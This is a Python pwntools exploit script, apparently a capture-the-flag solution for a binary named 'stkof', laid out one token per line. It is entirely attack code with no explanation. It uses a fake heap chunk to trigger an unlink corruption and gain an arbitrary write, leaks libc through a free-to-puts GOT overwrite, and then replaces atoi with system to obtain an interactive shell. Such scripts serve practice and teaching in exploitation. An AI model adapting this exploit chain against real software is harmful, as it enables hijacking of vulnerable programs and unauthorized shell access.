from
pwn
import
*
context(arch
=
'amd64'
, os
=
'linux'
)
context.log_level
=
'debug'
context.terminal
=
[
'tmux'
,
'sp'
,
'-h'
]
elf
=
ELF(
"./stkof"
)
io
=
process(
'./stkof'
)
def
malloc(size:
int
):
io.send(b
'1\n'
)
io.send(
str
(size).encode()
+
b
'\n'
)
io.recvuntil(
"OK\n"
)
def
edit(index:
int
, data:bytes):
io.send(b
'2\n'
)
io.send(
str
(index).encode()
+
b
'\n'
)
io.send(
str
(data.__len__()).encode()
+
b
'\n'
)
io.send(data)
io.recvuntil(
"OK\n"
)
def
delete(index:
int
):
io.send(b
'3\n'
)
io.send(
str
(index).encode()
+
b
'\n'
)
malloc(
0x10
)
malloc(
0x10
)
malloc(
0x10
)
malloc(
0x30
)
malloc(
0x80
)
malloc(
0x10
)
unlink_chunk_ptr
=
0x602140
+
0x20
unlink_fd
=
unlink_chunk_ptr
-
0x18
unlink_bk
=
unlink_chunk_ptr
-
0x10
payload
=
b''
payload
+
=
p64(
0
)
+
p64(
0x31
)
payload
+
=
p64(unlink_fd)
+
p64(unlink_bk)
payload
+
=
p64(
0
)
+
p64(
0
)
payload
+
=
p64(
0x30
)
+
p64(
0x90
)
edit(
4
, payload)
delete(
5
)
arbitrary_write
=
lambda
addr,data: (edit(
4
, p64(addr)), edit(
1
, data))
arbitrary_write(elf.got[
'free'
], p64(elf.plt[
'puts'
]))
edit(
4
, p64(elf.got[
'puts'
]))
delete(
1
)
io.recvline()
libc_base
=
u64(io.recv(
6
).ljust(
8
, b
'\x00'
))
-
elf.libc.sym[
'puts'
]
system_addr
=
libc_base
+
elf.libc.sym[
'system'
]
print
(f
"[+] libc_base = {hex(libc_base)}"
)
arbitrary_write(elf.got[
'atoi'
], p64(system_addr))
io.interactive()